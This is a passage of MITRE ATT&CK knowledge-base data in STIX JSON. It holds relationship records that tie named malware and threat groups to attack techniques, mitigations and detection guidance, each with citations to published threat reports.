information.(Citation: TrendMicro Ursnif Mar 2015)(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42eb6018-f049-41df-bbfc-6dcb2f079f16","created":"2021-09-28T22:45:48.823Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trickbot VNC module July 2021","description":"Ionut Illascu. (2021, July 14). Trickbot updates its VNC module for high-value targets. Retrieved September 10, 2021.","url":"https://www.bleepingcomputer.com/news/security/trickbot-updates-its-vnc-module-for-high-value-targets/"},{"source_name":"Bitdefender Trickbot VNC module Whitepaper 2021","description":"Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot’s Ever-Improving VNC Module. Retrieved September 28, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:45:32.493Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) has used a VNC module to monitor the victim and collect information to pivot to valuable systems on the network (Citation: Trickbot VNC module July 2021)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42edbbf4-8779-47d8-bc9b-452073939a1a","created":"2020-08-27T21:22:39.718Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.571Z","description":"[Chimera](https://attack.mitre.org/groups/G0114)'s malware has altered the NTLM authentication program on domain controllers to allow [Chimera](https://attack.mitre.org/groups/G0114) to login without a valid credential.(Citation: Cycraft Chimera April 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42f078b7-f1ad-4507-9774-a4673a4c4acd","created":"2022-09-07T19:45:21.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:42:35.416Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors relied on a victim to enable macros within a malicious Microsoft Word document likely sent via email.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42f4db8f-ef8b-4dcc-8c8f-4d0b5219c8b7","created":"2019-06-20T14:28:20.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.870Z","description":"Identify and block potentially malicious software executed that may be executed through this technique by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42f6d62c-6477-42b7-8078-76b1f94e6155","type":"relationship","created":"2021-06-03T19:52:01.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T19:52:01.074Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can use HTTPS to download files.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--42f9eb2d-ccc3-4fb3-ad83-4d475fe70397","created":"2022-07-18T23:05:14.491Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-16T13:19:55.686Z","description":"Monitor for changes made to AD security settings related to MFA logon requirements, such as changes to Azure AD Conditional Access Policies or the registration of new MFA applications. ","relationship_type":"detects","source_ref":"x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db","target_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4306857b-542d-4a54-8b4d-b835e52c5c15","type":"relationship","created":"2021-03-21T23:40:08.238Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest parti","url":"https://objective-see.com/blog/blog_0x59.html","description":"Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021."}],"modified":"2021-04-26T20:02:14.651Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) hides a copy of itself in the user's ~/Library directory by using a . at the beginning of the file name followed by 9 random characters.(Citation: wardle evilquest parti)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--430afd29-f2c0-43d3-b7bf-e7a549960254","type":"relationship","created":"2020-06-16T17:53:18.764Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.764Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has collected files from infected systems and uploaded them to a C2 server.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--430e71be-1fd2-4ff6-977d-bc4c8a7222e5","type":"relationship","created":"2020-09-23T15:18:36.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.473Z","description":"[MiniDuke](https://attack.mitre.org/software/S0051) can use DGA to generate new Twitter URLs for C2.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--431012d2-0ac4-49ba-b217-c118f0c1cf03","type":"relationship","created":"2019-01-29T18:44:04.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Agent Tesla June 2017","url":"https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html","description":"Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."}],"modified":"2020-05-28T23:41:03.806Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can list the current running processes on the system.(Citation: Fortinet Agent Tesla June 2017)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--431043b7-f0e8-411b-8eec-0d602867b028","type":"relationship","created":"2021-10-15T16:57:22.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Arxiv Avaddon Feb 2021","url":"https://arxiv.org/pdf/2102.04796.pdf","description":"Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. Retrieved August 19, 2021."}],"modified":"2021-10-15T16:57:22.409Z","description":"[Avaddon](https://attack.mitre.org/software/S0640) has searched for specific files prior to encryption.(Citation: Arxiv Avaddon Feb 2021)","relationship_type":"uses","source_ref":"malware--58c5a3a1-928f-4094-9e98-a5a4e56dd5f3","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--431ec495-5f92-40e9-9955-58ca334ea3c8","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","source_name":"FireEye APT34 Dec 2017"}],"modified":"2020-03-18T20:18:02.878Z","description":"(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--431f7f45-8955-48d3-948a-891ed2a59c3f","created":"2023-03-17T14:49:16.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:45:42.497Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used PowerShell commands to explore the environment of compromised victims.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4322a0e4-1653-416a-81c1-cfc8a7cfd69e","created":"2022-08-30T13:05:40.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rclone","description":"Nick Craig-Wood. (n.d.). Rclone syncs your files to cloud storage. Retrieved August 30, 2022.","url":"https://rclone.org"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T14:35:03.310Z","description":"[Rclone](https://attack.mitre.org/software/S1040) can list files and directories with the `ls`, `lsd`, and `lsl` commands.(Citation: Rclone)","relationship_type":"uses","source_ref":"tool--59096109-a1dd-463b-87e7-a8d110fe3a79","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4322dad3-453f-4af5-bd1c-0099baaf2b61","type":"relationship","created":"2019-01-31T00:23:06.343Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/","source_name":"Unit 42 Nokki Oct 2018"}],"modified":"2020-03-17T01:19:37.049Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) obtains a list of running processes.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43286c59-80a4-40d3-9aaa-ff7e6f321871","type":"relationship","created":"2019-05-31T14:20:13.647Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Dridex May 2017","url":"https://securelist.com/dridex-a-history-of-evolution/78531/","description":"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019."},{"source_name":"Checkpoint Dridex Jan 2021","url":"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/","description":"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021."}],"modified":"2021-09-07T20:58:44.559Z","description":"[Dridex](https://attack.mitre.org/software/S0384) has used POST requests and HTTPS for C2 communications.(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)","relationship_type":"uses","source_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--432f40d2-5309-4cc1-9544-2943233c3c2c","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?","description":"Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.","source_name":"DarkReading FireEye FIN5 Oct 2015"},{"url":"https://www.youtube.com/watch?v=fevGZs0EQu8","description":"Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.","source_name":"Mandiant FIN5 GrrCON Oct 2016"}],"modified":"2019-04-24T19:41:25.887Z","description":"(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)","relationship_type":"uses","source_ref":"intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022","target_ref":"tool--242f3da3-4425-4d11-8f5c-b842886da966","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--432f7a25-5994-4f50-8b75-c62c674f27a7","type":"relationship","created":"2019-01-31T00:36:41.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html","source_name":"Talos Konni May 2017"}],"modified":"2019-07-26T18:47:19.304Z","description":"[KONNI](https://attack.mitre.org/software/S0356) can delete files.(Citation: Talos Konni May 2017)","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--43300665-e487-470f-a3ec-2aaeb76b2a5f","type":"relationship","created":"2021-11-19T18:33:18.329Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.712Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can send files from a victim's machine to Dropbox.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--43317155-fd55-4fc1-a253-bff4261dba6e","created":"2022-04-15T16:19:49.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T14:38:27.418Z","description":"Monitor user account logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user's primary credentials have been compromised minus 2FA/MFA mechanism.\n\nAnalytic 1 - Anomalous IP addresses, unmanaged devices, unusual User Agents indicating automation tools or scripts, high failure rates\n\n index=\"m365_audit_logs\" Operation=\"UserLoginFailed\" ErrorNumber=\"500121\"\n| stats count by ClientIP, UserId, DeviceProperties\n| where ClientIP!=\"expected_ip\" OR DeviceProperties!=\"expected_properties\"","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--433418bb-0771-4b2d-9d6c-a153f6819798","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.402Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses the keychaindump project to read securityd memory.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--433ccc4b-5a1f-49e2-9517-f8f899646cab","type":"relationship","created":"2019-07-18T21:12:51.544Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-03-23T22:13:34.964Z","description":"[GALLIUM](https://attack.mitre.org/groups/G0093) created high-privileged domain user accounts to maintain access to victim networks.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--433eeadb-2011-476e-833a-7541df07d432","type":"relationship","created":"2019-01-30T13:42:09.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."}],"modified":"2020-03-17T01:16:26.019Z","description":"[FELIXROOT](https://attack.mitre.org/software/S0267) checks for installed security software like antivirus and firewall.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--cf8df906-179c-4a78-bd6e-6605e30f6624","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4340d15d-5577-4b4e-8e5b-570b9ab3a147","created":"2023-10-11T14:46:42.305Z","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-11T14:46:42.305Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used the WebDAV protocol to execute [Ryuk](https://attack.mitre.org/software/S0446) payloads hosted on network file shares.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--434296ee-6296-4d0a-a72e-bebb914c9700","created":"2022-09-29T20:08:25.503Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"},{"source_name":"Mandiant UNC3313 Feb 2022","description":"Tomcik, R. et al. (2022, February 24). Left On Read: Telegram Malware Spotted in Latest Iranian Cyber Espionage Activity. Retrieved August 18, 